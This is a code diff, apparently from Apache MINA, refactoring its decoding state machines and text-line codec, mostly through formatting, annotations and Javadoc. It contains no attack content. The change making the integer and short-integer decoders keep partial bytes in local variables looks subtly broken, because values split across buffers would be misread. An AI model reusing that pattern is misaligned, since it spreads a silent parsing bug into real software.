public interface DecodingState { * the state machine has reached its end. * @throws Exception if the read data violated protocol specification. */ - DecodingState decode(IoBuffer in, ProtocolDecoderOutput out) - throws Exception; - + DecodingState decode(IoBuffer in, ProtocolDecoderOutput out) throws Exception; + /** * Invoked when the associated {@link IoSession} is closed. This method is * useful when you deal with protocols which don't specify the length of a - * message (e.g. HTTP responses without content-length header). + * message (e.g. HTTP responses without content-length header). * Implement this method to process the remaining data that * {@link #decode(IoBuffer, ProtocolDecoderOutput)} method didn't process * completely. diff --git a/mina-core/src/main/java/org/apache/mina/filter/codec/statemachine/DecodingStateMachine.java b/mina-core/src/main/java/org/apache/mina/filter/codec/statemachine/DecodingStateMachine.java index c372ae58aa..5803eada3a 100644 --- a/mina-core/src/main/java/org/apache/mina/filter/codec/statemachine/DecodingStateMachine.java +++ b/mina-core/src/main/java/org/apache/mina/filter/codec/statemachine/DecodingStateMachine.java @@ -31,15 +31,15 @@ import org.slf4j.LoggerFactory; /** - * Abstract base class for decoder state machines. Calls {@link #init()} to + * Abstract base class for decoder state machines. Calls init() to * get the start {@link DecodingState} of the state machine. Calls - * {@link #destroy()} when the state machine has reached its end state or when + * destroy() when the state machine has reached its end state or when * the session is closed. *

* NOTE: The {@link ProtocolDecoderOutput} used by this class when calling * {@link DecodingState#decode(IoBuffer, ProtocolDecoderOutput)} buffers decoded * messages in a {@link List}. Once the state machine has reached its end state - * this class will call {@link #finishDecode(List, ProtocolDecoderOutput)}. The + * this class will call finishDecode(List, ProtocolDecoderOutput). The * implementation will have to take care of writing the decoded messages to the * real {@link ProtocolDecoderOutput} used by the configured * {@link ProtocolCodecFilter}. @@ -48,28 +48,37 @@ * @author Apache MINA Project */ public abstract class DecodingStateMachine implements DecodingState { - private final Logger log = LoggerFactory - .getLogger(DecodingStateMachine.class); + private static final Logger LOGGER = LoggerFactory.getLogger(DecodingStateMachine.class); - private final List childProducts = new ArrayList(); + private final List childProducts = new ArrayList<>(); private final ProtocolDecoderOutput childOutput = new ProtocolDecoderOutput() { + /** + * {@inheritDoc} + */ + @Override public void flush(NextFilter nextFilter, IoSession session) { // Do nothing } + /** + * {@inheritDoc} + */ + @Override public void write(Object message) { childProducts.add(message); } }; private DecodingState currentState; + private boolean initialized; /** * Invoked to initialize this state machine. * * @return the start {@link DecodingState}. + * @throws Exception if the initialization failed */ protected abstract DecodingState init() throws Exception; @@ -82,21 +91,24 @@ public void write(Object message) { * @param out the real {@link ProtocolDecoderOutput} used by the * {@link ProtocolCodecFilter}. * @return the next state if the state machine should resume. + * @throws Exception if the decoding end failed */ - protected abstract DecodingState finishDecode(List childProducts, - ProtocolDecoderOutput out) throws Exception; + protected abstract DecodingState finishDecode(List childProducts, ProtocolDecoderOutput out) + throws Exception; /** * Invoked to destroy this state machine once the end state has been reached * or the session has been closed. + * + * @throws Exception if the destruction failed */ protected abstract void destroy() throws Exception; /** * {@inheritDoc} */ - public DecodingState decode(IoBuffer in, ProtocolDecoderOutput out) - throws Exception { + @Override + public DecodingState decode(IoBuffer in, ProtocolDecoderOutput out) throws Exception { DecodingState state = getCurrentState(); final int limit = in.limit(); @@ -143,8 +155,8 @@ public DecodingState decode(IoBuffer in, ProtocolDecoderOutput out) /** * {@inheritDoc} */ - public DecodingState finishDecode(ProtocolDecoderOutput out) - throws Exception { + @Override + public DecodingState finishDecode(ProtocolDecoderOutput out) throws Exception { DecodingState nextState; DecodingState state = getCurrentState(); try { @@ -155,7 +167,7 @@ public DecodingState finishDecode(ProtocolDecoderOutput out) // Finished break; } - + // Exit if state didn't change. if (oldState == state) { break; @@ -163,8 +175,10 @@ public DecodingState finishDecode(ProtocolDecoderOutput out) } } catch (Exception e) { state = null; - log.debug( - "Ignoring the exception caused by a closed session.", e); + + if (LOGGER.isDebugEnabled()) { + LOGGER.debug("Ignoring the exception caused by a closed session.", e); + } } finally { this.currentState = state; nextState = finishDecode(childProducts, out); @@ -179,13 +193,15 @@ private void cleanup() { if (!initialized) { throw new IllegalStateException(); } - + initialized = false; childProducts.clear(); try { destroy(); } catch (Exception e2) { - log.warn("Failed to destroy a decoding state machine.", e2); + if (LOGGER.isDebugEnabled()) { + LOGGER.warn("Failed to destroy a decoding state machine.", e2); + } } } diff --git a/mina-core/src/main/java/org/apache/mina/filter/codec/statemachine/DecodingStateProtocolDecoder.java b/mina-core/src/main/java/org/apache/mina/filter/codec/statemachine/DecodingStateProtocolDecoder.java index 1e999ba75a..86bb5b32ce 100644 --- a/mina-core/src/main/java/org/apache/mina/filter/codec/statemachine/DecodingStateProtocolDecoder.java +++ b/mina-core/src/main/java/org/apache/mina/filter/codec/statemachine/DecodingStateProtocolDecoder.java @@ -39,7 +39,9 @@ */ public class DecodingStateProtocolDecoder implements ProtocolDecoder { private final DecodingState state; - private final Queue undecodedBuffers = new ConcurrentLinkedQueue(); + + private final Queue undecodedBuffers = new ConcurrentLinkedQueue<>(); + private IoSession session; /** @@ -59,17 +61,17 @@ public DecodingStateProtocolDecoder(DecodingState state) { /** * {@inheritDoc} */ - public void decode(IoSession session, IoBuffer in, ProtocolDecoderOutput out) - throws Exception { + @Override + public void decode(IoSession session, IoBuffer in, ProtocolDecoderOutput out) throws Exception { if (this.session == null) { this.session = session; } else if (this.session != session) { - throw new IllegalStateException( - getClass().getSimpleName() + " is a stateful decoder. " + - "You have to create one per session."); + throw new IllegalStateException(getClass().getSimpleName() + " is a stateful decoder. " + + "You have to create one per session."); } undecodedBuffers.offer(in); + for (;;) { IoBuffer b = undecodedBuffers.peek(); if (b == null) { @@ -79,29 +81,30 @@ public void decode(IoSession session, IoBuffer in, ProtocolDecoderOutput out) int oldRemaining = b.remaining(); state.decode(b, out); int newRemaining = b.remaining(); + if (newRemaining != 0) { if (oldRemaining == newRemaining) { - throw new IllegalStateException( - DecodingState.class.getSimpleName() + " must " + - "consume at least one byte per decode()."); + throw new IllegalStateException(DecodingState.class.getSimpleName() + " must " + + "consume at least one byte per decode()."); } } else { undecodedBuffers.poll(); } } } - + /** * {@inheritDoc} */ - public void finishDecode(IoSession session, ProtocolDecoderOutput out) - throws Exception { + @Override + public void finishDecode(IoSession session, ProtocolDecoderOutput out) throws Exception { state.finishDecode(out); } /** * {@inheritDoc} */ + @Override public void dispose(IoSession session) throws Exception { // Do nothing } diff --git a/mina-core/src/main/java/org/apache/mina/filter/codec/statemachine/FixedLengthDecodingState.java b/mina-core/src/main/java/org/apache/mina/filter/codec/statemachine/FixedLengthDecodingState.java index 95be4a8982..1993df6fbd 100644 --- a/mina-core/src/main/java/org/apache/mina/filter/codec/statemachine/FixedLengthDecodingState.java +++ b/mina-core/src/main/java/org/apache/mina/filter/codec/statemachine/FixedLengthDecodingState.java @@ -48,8 +48,8 @@ public FixedLengthDecodingState(int length) { /** * {@inheritDoc} */ - public DecodingState decode(IoBuffer in, ProtocolDecoderOutput out) - throws Exception { + @Override + public DecodingState decode(IoBuffer in, ProtocolDecoderOutput out) throws Exception { if (buffer == null) { if (in.remaining() >= length) { int limit = in.limit(); @@ -57,11 +57,13 @@ public DecodingState decode(IoBuffer in, ProtocolDecoderOutput out) IoBuffer product = in.slice(); in.position(in.position() + length); in.limit(limit); + return finishDecode(product, out); } buffer = IoBuffer.allocate(length); buffer.put(in); + return this; } @@ -72,9 +74,10 @@ public DecodingState decode(IoBuffer in, ProtocolDecoderOutput out) in.limit(limit); IoBuffer product = this.buffer; this.buffer = null; + return finishDecode(product.flip(), out); } - + buffer.put(in); return this; } @@ -82,16 +85,18 @@ public DecodingState decode(IoBuffer in, ProtocolDecoderOutput out) /** * {@inheritDoc} */ - public DecodingState finishDecode(ProtocolDecoderOutput out) - throws Exception { + @Override + public DecodingState finishDecode(ProtocolDecoderOutput out) throws Exception { IoBuffer readData; + if (buffer == null) { readData = IoBuffer.allocate(0); } else { readData = buffer.flip(); buffer = null; } - return finishDecode(readData ,out); + + return finishDecode(readData, out); } /** @@ -105,6 +110,5 @@ public DecodingState finishDecode(ProtocolDecoderOutput out) * the state machine has reached its end. * @throws Exception if the read data violated protocol specification. */ - protected abstract DecodingState finishDecode(IoBuffer product, - ProtocolDecoderOutput out) throws Exception; + protected abstract DecodingState finishDecode(IoBuffer product, ProtocolDecoderOutput out) throws Exception; } diff --git a/mina-core/src/main/java/org/apache/mina/filter/codec/statemachine/IntegerDecodingState.java b/mina-core/src/main/java/org/apache/mina/filter/codec/statemachine/IntegerDecodingState.java index 8b7817b34c..2c3c92dd3a 100644 --- a/mina-core/src/main/java/org/apache/mina/filter/codec/statemachine/IntegerDecodingState.java +++ b/mina-core/src/main/java/org/apache/mina/filter/codec/statemachine/IntegerDecodingState.java @@ -30,37 +30,40 @@ * @author Apache MINA Project */ public abstract class IntegerDecodingState implements DecodingState { - - private int firstByte; - private int secondByte; - private int thirdByte; private int counter; /** * {@inheritDoc} */ - public DecodingState decode(IoBuffer in, ProtocolDecoderOutput out) - throws Exception { + @Override + public DecodingState decode(IoBuffer in, ProtocolDecoderOutput out) throws Exception { + int firstByte = 0; + int secondByte = 0; + int thirdByte = 0; + while (in.hasRemaining()) { switch (counter) { - case 0: - firstByte = in.getUnsigned(); - break; - case 1: - secondByte = in.getUnsigned(); - break; - case 2: - thirdByte = in.getUnsigned(); - break; - case 3: - counter = 0; - return finishDecode( - (firstByte << 24) | (secondByte << 16) | (thirdByte << 8) | in.getUnsigned(), - out); - default: - throw new InternalError(); + case 0: + firstByte = in.getUnsigned(); + break; + + case 1: + secondByte = in.getUnsigned(); + break; + + case 2: + thirdByte = in.getUnsigned(); + break; + + case 3: + counter = 0; + return finishDecode((firstByte << 24) | (secondByte << 16) | (thirdByte << 8) | in.getUnsigned(), out); + + default: + throw new IllegalStateException(); } - counter ++; + + counter++; } return this; @@ -69,10 +72,9 @@ public DecodingState decode(IoBuffer in, ProtocolDecoderOutput out) /** * {@inheritDoc} */ - public DecodingState finishDecode(ProtocolDecoderOutput out) - throws Exception { - throw new ProtocolDecoderException( - "Unexpected end of session while waiting for an integer."); + @Override + public DecodingState finishDecode(ProtocolDecoderOutput out) throws Exception { + throw new ProtocolDecoderException("Unexpected end of session while waiting for an integer."); } /** @@ -86,6 +88,5 @@ public DecodingState finishDecode(ProtocolDecoderOutput out) * the state machine has reached its end. * @throws Exception if the read data violated protocol specification. */ - protected abstract DecodingState finishDecode(int value, - ProtocolDecoderOutput out) throws Exception; + protected abstract DecodingState finishDecode(int value, ProtocolDecoderOutput out) throws Exception; } diff --git a/mina-core/src/main/java/org/apache/mina/filter/codec/statemachine/ShortIntegerDecodingState.java b/mina-core/src/main/java/org/apache/mina/filter/codec/statemachine/ShortIntegerDecodingState.java index 4a6888ac56..e20c434076 100644 --- a/mina-core/src/main/java/org/apache/mina/filter/codec/statemachine/ShortIntegerDecodingState.java +++ b/mina-core/src/main/java/org/apache/mina/filter/codec/statemachine/ShortIntegerDecodingState.java @@ -30,29 +30,31 @@ * @author Apache MINA Project */ public abstract class ShortIntegerDecodingState implements DecodingState { - - private int highByte; private int counter; /** * {@inheritDoc} */ - public DecodingState decode(IoBuffer in, ProtocolDecoderOutput out) - throws Exception { - + @Override + public DecodingState decode(IoBuffer in, ProtocolDecoderOutput out) throws Exception { + int highByte = 0; + + while (in.hasRemaining()) { switch (counter) { - case 0: - highByte = in.getUnsigned(); - break; - case 1: - counter = 0; - return finishDecode((short) ((highByte << 8) | in.getUnsigned()), out); - default: - throw new InternalError(); + case 0: + highByte = in.getUnsigned(); + break; + + case 1: + counter = 0; + return finishDecode((short) ((highByte << 8) | in.getUnsigned()), out); + + default: + throw new IllegalStateException(); } - counter ++; + counter++; } return this; } @@ -60,10 +62,9 @@ public DecodingState decode(IoBuffer in, ProtocolDecoderOutput out) /** * {@inheritDoc} */ - public DecodingState finishDecode(ProtocolDecoderOutput out) - throws Exception { - throw new ProtocolDecoderException( - "Unexpected end of session while waiting for a short integer."); + @Override + public DecodingState finishDecode(ProtocolDecoderOutput out) throws Exception { + throw new ProtocolDecoderException("Unexpected end of session while waiting for a short integer."); } /** @@ -77,6 +78,5 @@ public DecodingState finishDecode(ProtocolDecoderOutput out) * the state machine has reached its end. * @throws Exception if the read data violated protocol specification. */ - protected abstract DecodingState finishDecode(short value, - ProtocolDecoderOutput out) throws Exception; + protected abstract DecodingState finishDecode(short value, ProtocolDecoderOutput out) throws Exception; } diff --git a/mina-core/src/main/java/org/apache/mina/filter/codec/statemachine/SingleByteDecodingState.java b/mina-core/src/main/java/org/apache/mina/filter/codec/statemachine/SingleByteDecodingState.java index 32e11dde9e..d0866e131e 100644 --- a/mina-core/src/main/java/org/apache/mina/filter/codec/statemachine/SingleByteDecodingState.java +++ b/mina-core/src/main/java/org/apache/mina/filter/codec/statemachine/SingleByteDecodingState.java @@ -29,23 +29,24 @@ * @author Apache MINA Project */ public abstract class SingleByteDecodingState implements DecodingState { - - public DecodingState decode(IoBuffer in, ProtocolDecoderOutput out) - throws Exception { + /** + * {@inheritDoc} + */ + @Override + public DecodingState decode(IoBuffer in, ProtocolDecoderOutput out) throws Exception { if (in.hasRemaining()) { return finishDecode(in.get(), out); } - + return this; } - + /** * {@inheritDoc} */ - public DecodingState finishDecode(ProtocolDecoderOutput out) - throws Exception { - throw new ProtocolDecoderException( - "Unexpected end of session while waiting for a single byte."); + @Override + public DecodingState finishDecode(ProtocolDecoderOutput out) throws Exception { + throw new ProtocolDecoderException("Unexpected end of session while waiting for a single byte."); } /** @@ -59,6 +60,5 @@ public DecodingState finishDecode(ProtocolDecoderOutput out) * the state machine has reached its end. * @throws Exception if the read data violated protocol specification. */ - protected abstract DecodingState finishDecode(byte b, - ProtocolDecoderOutput out) throws Exception; + protected abstract DecodingState finishDecode(byte b, ProtocolDecoderOutput out) throws Exception; } diff --git a/mina-core/src/main/java/org/apache/mina/filter/codec/statemachine/SkippingState.java b/mina-core/src/main/java/org/apache/mina/filter/codec/statemachine/SkippingState.java index 9f88d77076..44c6be0f10 100644 --- a/mina-core/src/main/java/org/apache/mina/filter/codec/statemachine/SkippingState.java +++ b/mina-core/src/main/java/org/apache/mina/filter/codec/statemachine/SkippingState.java @@ -23,8 +23,8 @@ import org.apache.mina.filter.codec.ProtocolDecoderOutput; /** - * {@link DecodingState} which skips data until {@link #canSkip(byte)} returns - * false. + * {@link DecodingState} which skips data until canSkip(byte) returns + * false. * * @author Apache MINA Project */ @@ -35,19 +35,22 @@ public abstract class SkippingState implements DecodingState { /** * {@inheritDoc} */ - public DecodingState decode(IoBuffer in, ProtocolDecoderOutput out) - throws Exception { + @Override + public DecodingState decode(IoBuffer in, ProtocolDecoderOutput out) throws Exception { int beginPos = in.position(); int limit = in.limit(); + for (int i = beginPos; i < limit; i++) { byte b = in.get(i); + if (!canSkip(b)) { in.position(i); int answer = this.skippedBytes; this.skippedBytes = 0; + return finishDecode(answer); } - + skippedBytes++; } @@ -58,8 +61,8 @@ public DecodingState decode(IoBuffer in, ProtocolDecoderOutput out) /** * {@inheritDoc} */ - public DecodingState finishDecode(ProtocolDecoderOutput out) - throws Exception { + @Override + public DecodingState finishDecode(ProtocolDecoderOutput out) throws Exception { return finishDecode(skippedBytes); } @@ -80,6 +83,5 @@ public DecodingState finishDecode(ProtocolDecoderOutput out) * the state machine has reached its end. * @throws Exception if the read data violated protocol specification. */ - protected abstract DecodingState finishDecode(int skippedBytes) - throws Exception; + protected abstract DecodingState finishDecode(int skippedBytes) throws Exception; } diff --git a/mina-core/src/main/java/org/apache/mina/filter/codec/textline/LineDelimiter.java b/mina-core/src/main/java/org/apache/mina/filter/codec/textline/LineDelimiter.java index 97792c41d6..886e6baf70 100644 --- a/mina-core/src/main/java/org/apache/mina/filter/codec/textline/LineDelimiter.java +++ b/mina-core/src/main/java/org/apache/mina/filter/codec/textline/LineDelimiter.java @@ -24,7 +24,7 @@ /** * A delimiter which is appended to the end of a text line, such as - * CR/LF. This class defines default delimiters for various + * CR/LF. This class defines default delimiters for various * OS : *
    *
  • Unix/Linux : LineDelimiter.UNIX ("\n")
  • @@ -35,13 +35,13 @@ * @author Apache MINA Project */ public class LineDelimiter { - /** the line delimiter constant of the current O/S. */ + /** The line delimiter constant of the current O/S. */ public static final LineDelimiter DEFAULT; - /** Compute the default delimiter on he current OS */ + /** Compute the default delimiter on the current OS */ static { ByteArrayOutputStream bout = new ByteArrayOutputStream(); - PrintWriter out = new PrintWriter(bout); + PrintWriter out = new PrintWriter(bout, true); out.println(); DEFAULT = new LineDelimiter(new String(bout.toByteArray())); } @@ -49,34 +49,34 @@ public class LineDelimiter { /** * A special line delimiter which is used for auto-detection of * EOL in {@link TextLineDecoder}. If this delimiter is used, - * {@link TextLineDecoder} will consider both '\r' and - * '\n' as a delimiter. + * {@link TextLineDecoder} will consider both '\r' and + * '\n' as a delimiter. */ public static final LineDelimiter AUTO = new LineDelimiter(""); /** - * The CRLF line delimiter constant ("\r\n") + * The CRLF line delimiter constant ("\r\n") */ public static final LineDelimiter CRLF = new LineDelimiter("\r\n"); - + /** - * The line delimiter constant of UNIX ("\n") + * The line delimiter constant of UNIX ("\n") */ public static final LineDelimiter UNIX = new LineDelimiter("\n"); /** - * The line delimiter constant of MS Windows/DOS ("\r\n") + * The line delimiter constant of MS Windows/DOS ("\r\n") */ public static final LineDelimiter WINDOWS = CRLF; /** - * The line delimiter constant of Mac OS ("\r") + * The line delimiter constant of Mac OS ("\r") */ public static final LineDelimiter MAC = new LineDelimiter("\r"); /** * The line delimiter constant for NUL-terminated text protocols - * such as Flash XML socket ("\0") + * such as Flash XML socket ("\0") */ public static final LineDelimiter NUL = new LineDelimiter("\0"); @@ -84,18 +84,20 @@ public class LineDelimiter { private final String value; /** - * Creates a new line delimiter with the specified value. + * Creates a new line delimiter with the specified value. + * + * @param value The new Line Delimiter */ public LineDelimiter(String value) { if (value == null) { throw new IllegalArgumentException("delimiter"); } - + this.value = value; } /** - * Return the delimiter string. + * @return the delimiter string. */ public String getValue() { return value; @@ -114,16 +116,16 @@ public int hashCode() { */ @Override public boolean equals(Object o) { - if ( this == o) { + if (this == o) { return true; } - + if (!(o instanceof LineDelimiter)) { return false; } - + LineDelimiter that = (LineDelimiter) o; - + return this.value.equals(that.value); } @@ -134,16 +136,15 @@ public boolean equals(Object o) { public String toString() { if (value.length() == 0) { return "delimiter: auto"; - } else { - StringBuilder buf = new StringBuilder(); - buf.append("delimiter:"); - - for (int i = 0; i < value.length(); i++) { - buf.append(" 0x"); - buf.append(Integer.toHexString(value.charAt(i))); - } + } + StringBuilder buf = new StringBuilder(); + buf.append("delimiter:"); - return buf.toString(); + for (int i = 0; i < value.length(); i++) { + buf.append(" 0x"); + buf.append(Integer.toHexString(value.charAt(i))); } + + return buf.toString(); } } diff --git a/mina-core/src/main/java/org/apache/mina/filter/codec/textline/TextLineCodecFactory.java b/mina-core/src/main/java/org/apache/mina/filter/codec/textline/TextLineCodecFactory.java index 87d714cc9e..f1a124bbf4 100644 --- a/mina-core/src/main/java/org/apache/mina/filter/codec/textline/TextLineCodecFactory.java +++ b/mina-core/src/main/java/org/apache/mina/filter/codec/textline/TextLineCodecFactory.java @@ -37,6 +37,7 @@ public class TextLineCodecFactory implements ProtocolCodecFactory { private final TextLineEncoder encoder; + private final TextLineDecoder decoder; /** @@ -51,8 +52,7 @@ public TextLineCodecFactory() { * encoder uses a UNIX {@link LineDelimiter} and the decoder uses * the AUTO {@link LineDelimiter}. * - * @param charset - * The charset to use in the encoding and decoding + * @param charset The charset to use in the encoding and decoding */ public TextLineCodecFactory(Charset charset) { encoder = new TextLineEncoder(charset, LineDelimiter.UNIX); @@ -70,8 +70,7 @@ public TextLineCodecFactory(Charset charset) { * @param decodingDelimiter * The line delimeter for the decoder */ - public TextLineCodecFactory(Charset charset, - String encodingDelimiter, String decodingDelimiter) { + public TextLineCodecFactory(Charset charset, String encodingDelimiter, String decodingDelimiter) { encoder = new TextLineEncoder(charset, encodingDelimiter); decoder = new TextLineDecoder(charset, decodingDelimiter); } @@ -87,22 +86,29 @@ public TextLineCodecFactory(Charset charset, * @param decodingDelimiter * The line delimeter for the decoder */ - public TextLineCodecFactory(Charset charset, - LineDelimiter encodingDelimiter, LineDelimiter decodingDelimiter) { + public TextLineCodecFactory(Charset charset, LineDelimiter encodingDelimiter, LineDelimiter decodingDelimiter) { encoder = new TextLineEncoder(charset, encodingDelimiter); decoder = new TextLineDecoder(charset, decodingDelimiter); } + /** + * {@inheritDoc} + */ + @Override public ProtocolEncoder getEncoder(IoSession session) { return encoder; } + /** + * {@inheritDoc} + */ + @Override public ProtocolDecoder getDecoder(IoSession session) { return decoder; } /** - * Returns the allowed maximum size of the encoded line. + * @return the allowed maximum size of the encoded line. * If the size of the encoded line exceeds this value, the encoder * will throw a {@link IllegalArgumentException}. The default value * is {@link Integer#MAX_VALUE}. @@ -120,16 +126,18 @@ public int getEncoderMaxLineLength() { * is {@link Integer#MAX_VALUE}. *

    * This method does the same job with {@link TextLineEncoder#setMaxLineLength(int)}. + * + * @param maxLineLength The maximum encoded line length */ public void setEncoderMaxLineLength(int maxLineLength) { encoder.setMaxLineLength(maxLineLength); } /** - * Returns the allowed maximum size of the line to be decoded. + * @return the allowed maximum size of the line to be decoded. * If the size of the line to be decoded exceeds this value, the * decoder will throw a {@link BufferDataException}. The default - * value is 1024 (1KB). + * value is 1024 (1KB). *

    * This method does the same job with {@link TextLineDecoder#getMaxLineLength()}. */ @@ -141,9 +149,11 @@ public int getDecoderMaxLineLength() { * Sets the allowed maximum size of the line to be decoded. * If the size of the line to be decoded exceeds this value, the * decoder will throw a {@link BufferDataException}. The default - * value is 1024 (1KB). + * value is 1024 (1KB). *

    * This method does the same job with {@link TextLineDecoder#setMaxLineLength(int)}. + * + * @param maxLineLength the maximum decoded line length */ public void setDecoderMaxLineLength(int maxLineLength) { decoder.setMaxLineLength(maxLineLength); diff --git a/mina-core/src/main/java/org/apache/mina/filter/codec/textline/TextLineDecoder.java b/mina-core/src/main/java/org/apache/mina/filter/codec/textline/TextLineDecoder.java index 05a512d051..869b640141 100644 --- a/mina-core/src/main/java/org/apache/mina/filter/codec/textline/TextLineDecoder.java +++ b/mina-core/src/main/java/org/apache/mina/filter/codec/textline/TextLineDecoder.java @@ -19,6 +19,8 @@ */ package org.apache.mina.filter.codec.textline; +import java.nio.ByteBuffer; +import java.nio.CharBuffer; import java.nio.charset.CharacterCodingException; import java.nio.charset.Charset; import java.nio.charset.CharsetDecoder; @@ -38,7 +40,7 @@ * @author Apache MINA Project */ public class TextLineDecoder implements ProtocolDecoder { - private final AttributeKey CONTEXT = new AttributeKey(getClass(), "context"); + private static final AttributeKey CONTEXT = new AttributeKey(TextLineDecoder.class, "context"); private final Charset charset; @@ -64,7 +66,9 @@ public TextLineDecoder() { /** * Creates a new instance with the current default {@link Charset} - * and the specified delimiter. + * and the specified delimiter. + * + * @param delimiter The line delimiter to use */ public TextLineDecoder(String delimiter) { this(new LineDelimiter(delimiter)); @@ -72,64 +76,74 @@ public TextLineDecoder(String delimiter) { /** * Creates a new instance with the current default {@link Charset} - * and the specified delimiter. + * and the specified delimiter. + * + * @param delimiter The line delimiter to use */ public TextLineDecoder(LineDelimiter delimiter) { this(Charset.defaultCharset(), delimiter); } /** - * Creates a new instance with the spcified charset + * Creates a new instance with the spcified charset * and {@link LineDelimiter#AUTO} delimiter. + * + * @param charset The {@link Charset} to use */ public TextLineDecoder(Charset charset) { this(charset, LineDelimiter.AUTO); } /** - * Creates a new instance with the spcified charset - * and the specified delimiter. + * Creates a new instance with the spcified charset + * and the specified delimiter. + * + * @param charset The {@link Charset} to use + * @param delimiter The line delimiter to use */ public TextLineDecoder(Charset charset, String delimiter) { this(charset, new LineDelimiter(delimiter)); } /** - * Creates a new instance with the specified charset - * and the specified delimiter. + * Creates a new instance with the specified charset + * and the specified delimiter. + * + * @param charset The {@link Charset} to use + * @param delimiter The line delimiter to use */ public TextLineDecoder(Charset charset, LineDelimiter delimiter) { if (charset == null) { throw new IllegalArgumentException("charset parameter shuld not be null"); } - + if (delimiter == null) { throw new IllegalArgumentException("delimiter parameter should not be null"); } this.charset = charset; this.delimiter = delimiter; - + // Convert delimiter to ByteBuffer if not done yet. if (delimBuf == null) { IoBuffer tmp = IoBuffer.allocate(2).setAutoExpand(true); - - try{ + + try { tmp.putString(delimiter.getValue(), charset.newEncoder()); } catch (CharacterCodingException cce) { - + } - + tmp.flip(); delimBuf = tmp; } } /** - * Returns the allowed maximum size of the line to be decoded. + * @return the allowed maximum size of the line to be decoded. * If the size of the line to be decoded exceeds this value, the * decoder will throw a {@link BufferDataException}. The default - * value is 1024 (1KB). + * value is 1024 (1KB). */ public int getMaxLineLength() { return maxLineLength; @@ -139,17 +153,18 @@ public int getMaxLineLength() { * Sets the allowed maximum size of the line to be decoded. * If the size of the line to be decoded exceeds this value, the * decoder will throw a {@link BufferDataException}. The default - * value is 1024 (1KB). + * value is 1024 (1KB). + * + * @param maxLineLength The maximum line length */ public void setMaxLineLength(int maxLineLength) { if (maxLineLength <= 0) { - throw new IllegalArgumentException("maxLineLength (" - + maxLineLength + ") should be a positive value"); + throw new IllegalArgumentException("maxLineLength (" + maxLineLength + ") should be a positive value"); } this.maxLineLength = maxLineLength; } - + /** * Sets the default buffer size. This buffer is used in the Context * to store the decoded line. @@ -157,29 +172,27 @@ public void setMaxLineLength(int maxLineLength) { * @param bufferLength The default bufer size */ public void setBufferLength(int bufferLength) { - if ( bufferLength <= 0) { - throw new IllegalArgumentException("bufferLength (" - + maxLineLength + ") should be a positive value"); - + if (bufferLength <= 0) { + throw new IllegalArgumentException("bufferLength (" + maxLineLength + ") should be a positive value"); + } - + this.bufferLength = bufferLength; } - + /** - * Returns the allowed buffer size used to store the decoded line + * @return the allowed buffer size used to store the decoded line * in the Context instance. */ public int getBufferLength() { return bufferLength; } - /** * {@inheritDoc} */ - public void decode(IoSession session, IoBuffer in, - ProtocolDecoderOutput out) throws Exception { + @Override + public void decode(IoSession session, IoBuffer in, ProtocolDecoderOutput out) throws Exception { Context ctx = getContext(session); if (LineDelimiter.AUTO.equals(delimiter)) { @@ -190,34 +203,37 @@ public void decode(IoSession session, IoBuffer in, } /** - * Return the context for this session + * @return the context for this session + * + * @param session The session for which we want the context */ private Context getContext(IoSession session) { Context ctx; ctx = (Context) session.getAttribute(CONTEXT); - + if (ctx == null) { ctx = new Context(bufferLength); session.setAttribute(CONTEXT, ctx); } - + return ctx; } /** * {@inheritDoc} */ - public void finishDecode(IoSession session, ProtocolDecoderOutput out) - throws Exception { + @Override + public void finishDecode(IoSession session, ProtocolDecoderOutput out) throws Exception { // Do nothing } /** * {@inheritDoc} */ + @Override public void dispose(IoSession session) throws Exception { Context ctx = (Context) session.getAttribute(CONTEXT); - + if (ctx != null) { session.removeAttribute(CONTEXT); } @@ -237,22 +253,22 @@ private void decodeAuto(Context ctx, IoSession session, IoBuffer in, ProtocolDec while (in.hasRemaining()) { byte b = in.get(); boolean matched = false; - + switch (b) { - case '\r': - // Might be Mac, but we don't auto-detect Mac EOL - // to avoid confusion. - matchCount++; - break; - - case '\n': - // UNIX - matchCount++; - matched = true; - break; - - default: - matchCount = 0; + case '\r': + // Might be Mac, but we don't auto-detect Mac EOL + // to avoid confusion. + matchCount++; + break; + + case '\n': + // UNIX + matchCount++; + matched = true; + break; + + default: + matchCount = 0; } if (matched) { @@ -270,17 +286,22 @@ private void decodeAuto(Context ctx, IoSession session, IoBuffer in, ProtocolDec IoBuffer buf = ctx.getBuffer(); buf.flip(); buf.limit(buf.limit() - matchCount); - + try { - writeText(session, buf.getString(ctx.getDecoder()), out); + byte[] data = new byte[buf.limit()]; + buf.get(data); + CharsetDecoder decoder = ctx.getDecoder(); + + CharBuffer buffer = decoder.decode(ByteBuffer.wrap(data)); + String str = buffer.toString(); + writeText(session, str, out); } finally { buf.clear(); } } else { int overflowPosition = ctx.getOverflowPosition(); ctx.reset(); - throw new RecoverableProtocolDecoderException( - "Line is too long: " + overflowPosition); + throw new RecoverableProtocolDecoderException("Line is too long: " + overflowPosition); } oldPos = pos; @@ -305,13 +326,13 @@ private void decodeNormal(Context ctx, IoSession session, IoBuffer in, ProtocolD // Try to find a match int oldPos = in.position(); int oldLimit = in.limit(); - + while (in.hasRemaining()) { byte b = in.get(); - + if (delimBuf.get(matchCount) == b) { matchCount++; - + if (matchCount == delimBuf.limit()) { // Found a match. int pos = in.position(); @@ -322,12 +343,12 @@ private void decodeNormal(Context ctx, IoSession session, IoBuffer in, ProtocolD in.limit(oldLimit); in.position(pos); - + if (ctx.getOverflowPosition() == 0) { IoBuffer buf = ctx.getBuffer(); buf.flip(); buf.limit(buf.limit() - matchCount); - + try { writeText(session, buf.getString(ctx.getDecoder()), out); } finally { @@ -336,8 +357,7 @@ private void decodeNormal(Context ctx, IoSession session, IoBuffer in, ProtocolD } else { int overflowPosition = ctx.getOverflowPosition(); ctx.reset(); - throw new RecoverableProtocolDecoderException( - "Line is too long: " + overflowPosition); + throw new RecoverableProtocolDecoderException("Line is too long: " + overflowPosition); } oldPos = pos; @@ -371,7 +391,7 @@ protected void writeText(IoSession session, String text, ProtocolDecoderOutput o } /** - * A Context used during the decoding of a lin. It stores the decoder, + * A Context used during the decoding of a lin. It stores the decoder, * the temporary buffer containing the decoded line, and other status flags. * * @author Apache Directory Project @@ -380,13 +400,13 @@ protected void writeText(IoSession session, String text, ProtocolDecoderOutput o private class Context { /** The decoder */ private final CharsetDecoder decoder; - + /** The temporary buffer containing the decoded line */ private final IoBuffer buf; - + /** The number of lines found so far */ private int matchCount = 0; - + /** A counter to signal that the line is too long */ private int overflowPosition = 0; @@ -426,9 +446,9 @@ public void append(IoBuffer in) { if (overflowPosition != 0) { discard(in); } else if (buf.position() > maxLineLength - 